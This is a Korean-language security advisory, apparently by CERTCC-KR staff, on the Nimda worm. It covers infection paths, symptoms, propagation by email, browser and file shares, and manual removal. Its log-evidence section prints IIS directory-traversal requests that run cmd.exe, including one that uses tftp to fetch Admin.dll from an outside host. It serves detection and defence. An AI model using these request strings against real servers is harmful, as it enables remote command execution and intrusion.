초기 분석결과 Nimda웜은 전파를 용이하게 하기위해서 웹의 콘텐츠를 변경하는 것을 제외하고는 특별한 파괴적인 행위를 하지는 않는다. 그러나 네트웍 스캐닝과 E-mail 발송으로 인한 Dos(Denial of Service)공격을 일으킨다. 1. 감염시스템 - Microsoft Windows 95, 98, ME, NT, and 2000 2. 감염경로 - email을 통한 클라이언트에서 클라이언트로 - 오픈된 네트웍자원을 통한 클라이언트에서 클라이언트로 - 감염된 웹사이트 접속을 통한 웹서버로에서 클라이언트로 - Microsoft IIS 4.0 / 5.0 directory traversal 취약점 통한 클라이언트에서 웹서버로 - Code Red II와 sadmin/IIS 웜에 의해서 만들어진 백도어를 통한 클라이언트에서 웹서버로 3. 증상 1) 감염된 클라이언트는 Windows address book에 있는 모든 주소로 Nimda 웜을 포함한 E-mail을 전송하려고 시도한다. 2) Code Red II와 sadmin/IIS 웜에 의해서 만들어진 백도어를 스캐닝하여 공격하거나, IIS Directory Traversal 취약점을 통해서도 전파가능하다. 공격IP 생성룰은 다음과 같다. 50%는 동일한 B class IP 주소(처음두개의 octet이 같은 IP주소) 25%는 동일한 A class IP 주소(첫번째 octet이 같은 IP주소) 25%는 랜덤한 IP 주소 3) 감염된 클라이언트 시스템은 취약점을 스캔하여 발견된 서버로 Nimda 코드를 전송하며, 서버시스템이 일단 감염되면 시스템의 모든 디렉토리를 감염시킨다(파일공유를 통한 엑세스 가능한 모든 파일을 포함). "README.EML" 이름을 사용해서 디스크 자체에 카피한다. 또한 감염된 시스템의 C 로컬 드라이브가 공유되므로 보안상 문제가 될 수 있다. 웹컨텐츠를 포함한 디렉토리가 발견되었을 때, 다음의 Javascript 코드가 웹관련파일에 추가된다. 이러한 웹컨텐츠의 변경은 네트웍 파일시스템을 브라우징하거나 브라우저를 통해 새로운 클라이언트에게 전파시킨다. 4) system.ini 파일을 아래와 같이 변경한다. Shell = explorer.exe load.exe -dontrunold 5) riched20.dll을 변경한다. riched20.dll은 Microsoft Word같은 응용프로그램에서 사용하는 Windows .Dll파일이다. 이러한 .Dll 파일을 변경함으로서 Microsoft Word같은 응용프로그램이 실행될때 웜이 실행되어질 수 있다. 6) load.exe 파일이 %WindowSystem%에 숨김파일옵션으로 생성된다.(%WindowsSystem% 은 가변적이며, 디폴트는 C:WindowsSystem이다) 7) Windows Temporary Directory에 아래의 임시파일을 생성한다. mep[nr][nr][letter][nr].TMP.exe mep[nr][nr][letter][nr].TMP 4. Email을 통한 전파 이 웜은 두 개의 섹션으로 구성된 MIME "multipart/alternative" 메시지를 통해 전파된다. 첫 번째 섹션은 MIME 타입 "text/html"을 정의하고 있으며 어떠한 text도 포함하고 있지 않다. 따라서 E-mail은 어떠한 컨텐츠도 포함하고 있지 않다. 두 번째 섹션은 MIME 타입 "audio/x-wav"를 정의하고 있으며, base64로 암호화된 실행가능한 바이너리 코드인 "readme.exe"이름의 파일을 포함하고 있다. "Automatic Execution of Embedded MIME Types" 취약점을 통해서 HTML 메일을 자동으로 실행시키는 Microsoft Intetnet Explorer 5.5 SP1 이나 그 이전버전(IE 5.01 SP2를 제외한)을 사용하는 x86 플랫폼상에서 구동되는 메일 소프트웨서는 이 웜에 감염된다. 따라서 이 웜은 이 메일을 간단히 열어봄으로서 자동으로 감염되며, 실행코드기 때문에 첨부파일을 실행시킴으로서 간단히 감염될 수 있다. Nimda 웜을 전파하는 E-mail은 다음의 특징을 가지고 있다. - 메일의 제목란의 문자는 가변적이지만 80문자 이상이다. - 첨부된 바이너리 파일에 근소한 차이가 있다. 이것은 MD5 Checksum이 다르기 때문이다. 그러나, 첨부파일의 파일길이는 일관되게 57344 바이트이다. 5. 브라우저 전파 Nimda웜은 모든 웹컨텐츠 파일(.htm, .html, 그리고 asp를 포함해서)을 변경한다. 그 결과 시스템에 있는 웹컨텐츠를 브라우징하는 모든 사용자는 웜을 다운받는다. 몇몇 브라우저는 다운로드받은 파일을 자동으로 실행시켜서 시스템을 감염시킨다. 6. File System 전파 Nimda 웜은 쓰기가능한 모든 디렉토리(네트웍공유에서 발견되는 디렉토리 포함) 에 README.EML 이름의 수많은 카피를 생성한다. 만약 다른 시스템의 사용자가 공유된 네트웍에서 웜파일의 카피본을 preview 옵션이 가능한 Windows Explorer에서 선택했다면, 웜에 감염될 수 있다. 7. 시스템 증거 포트 80/tcp을 통한 Web 서버로그 GET /scripts/root.exe?/c+dir GET /MSADC/root.exe?/c+dir GET /c/winnt/system32/cmd.exe?/c+dir GET /d/winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /msadc/..%5c../..%5c../..%5c/..xc1x1c../..xc1x1c../..xc1x1c../winnt/system32/cmd.exe?/c+dir GET /msadc/..%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe, /c+tftp%20-i%20xxx.xxx.xxx.xxx%20GET%20Admin.dll%20d:Admin.dll GET /msadc/..%5c../..%5c../..%5c/..../..../..../Admin.dll GET /scripts/..xc1x1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..xc0/../winnt/system32/cmd.exe?/c+dir GET /scripts/..xc0xaf../winnt/system32/cmd.exe?/c+dir GET /scripts/..xc1x9c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir Note: 첫 번째 네줄은 Code Red II에 의해서 만들어진 백도어를 검색시도하는 로그이며, 나머지 로그는 Directory Traversal 취약점을 공격하기 위한 로그이다. 8. 영향 공격자는 패치되지 않은 IIS가 구동되는 시스템의 LocalSystem security context에서 공격코드를 실행시킬 수 있으며, 감염된 호스트는 다른 인터넷사이트를 공격할 수 있다. 또한 Nimda 웜에 의해서 발생하는 스캐닝은 Dos공격을 유발시킬 수 있다. 9. 해결책 1) IIS를 구동하는 시스템 관리자 root.exe (Code Red II 혹은 sadmin/IIS 웜에 의해서 공격당한 증거) admin.dll 혹은 기대되지 않은 .eml 파일(웹 컨텐츠를 포함하고 있는 디렉토리내에) o 다음은 정상적인 파일입니다. - c:inetPubwwwroot_vti-bin_vti_admadmin.dll - c:Program FilesMicrosoft FrontPageversion3.0isapi_vti-bin_vti_admadmin.dll 가장 안전한 시스템 복구방법은 시스템을 포맷하고 재인스톨하는 것이다. 덧붙여 소프트웨어를 재인스톨한후에는 네트웍에 접속하지 않은 상태에서 모든 제품사가 제공하는 보안패치를 적용하라 ▶ IIS 관련 취약점에 대한 패치를 적용 http://www.microsoft.com/technet/security/bulletin/MS01-044.asp 2) 일반사용자 ▶ Internet Explorer 사용자의 경우 다음 패치를 적용하거나 http://www.microsoft.com/windows/ie/downloads/critical/q290108/default.asp - Internet Explorer 5.01 SP2를 설치하거나 - Internet Explorer 5.5 SP2를 설치하거나 - Internet Explorer 6.0을 설치합니다 ▶ Outlook 2000 사용자의 경우, 다음 패치를 설치합니다 http://office.microsoft.com/korea/downloads/2000/outlctlx.asp ▶ Outlook 2002 (Office XP) 사용자의 경우, 다음 패치를 설치합니다 http://office.microsoft.com/korea/downloads/2002/OLK1003.asp - 절대 e-mail 첨부파일을 열지마라 - 사용자 시스템은 감염된 서버에 있는 웹사이트를 브라우징함으로써 Nimda웜에 감염될 수 있다. 따라서 JavaScript를 Disable시켜라 3) 수동치료(Windows 95/98/ME 시스템) - C:WindowsSystem 폴더에 load.exe(57,344바이트) 파일이 존재하는지 확인하십시오. 1. 존재하지 않을 경우 (1) 공유되어 있는 폴더를 해제합니다. (2) 시스템에 .eml, .nwz 파일들이 있는지 확인하여 삭제하십시오. 2. 존재하는 경우 (1) 공유되어 있는 폴더를 해제합니다. (2) 윈도우 [시작]-[실행]에서 system.ini를 입력합니다. (3) system.ini의 내용 중 Shell = explorer.exe load.exe -dontrunold로 되어 있는 부분을 Shell = explorer.exe로 수정합니다. (부팅시마다 재실행 되도록 변경됨) (4) 시스템을 재부팅합니다. (5) C:WindowsSystem 폴더에 있는 load.exe(57,344바이트) 파일을 삭제합니다. (6) C:WindowsSystem 폴더에 있는 riched20.dll(57,344바이트, 숨김속성) 파일을 삭제합니다. - 정상적인 riched20.dll 파일이 존재할 수 있으므로 반드시 파일크기를 확인한 후 삭제하시기 바랍니다. (7) 시스템에 .eml, .nwz 파일들이 있는지 확인하여 삭제하십시오. 10. 참조사이트 - http://www.cert.org/advisories/CA-2001-26.html - http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html - http://www.hauri.co.kr/virus/vir_info_sum.html?uid=218 전익수, isjeon@certcc.or.kr / 이완희, lwh@certcc.or.kr <대덕넷 남효진 >
저작권자 © 헬로디디 무단전재 및 재배포 금지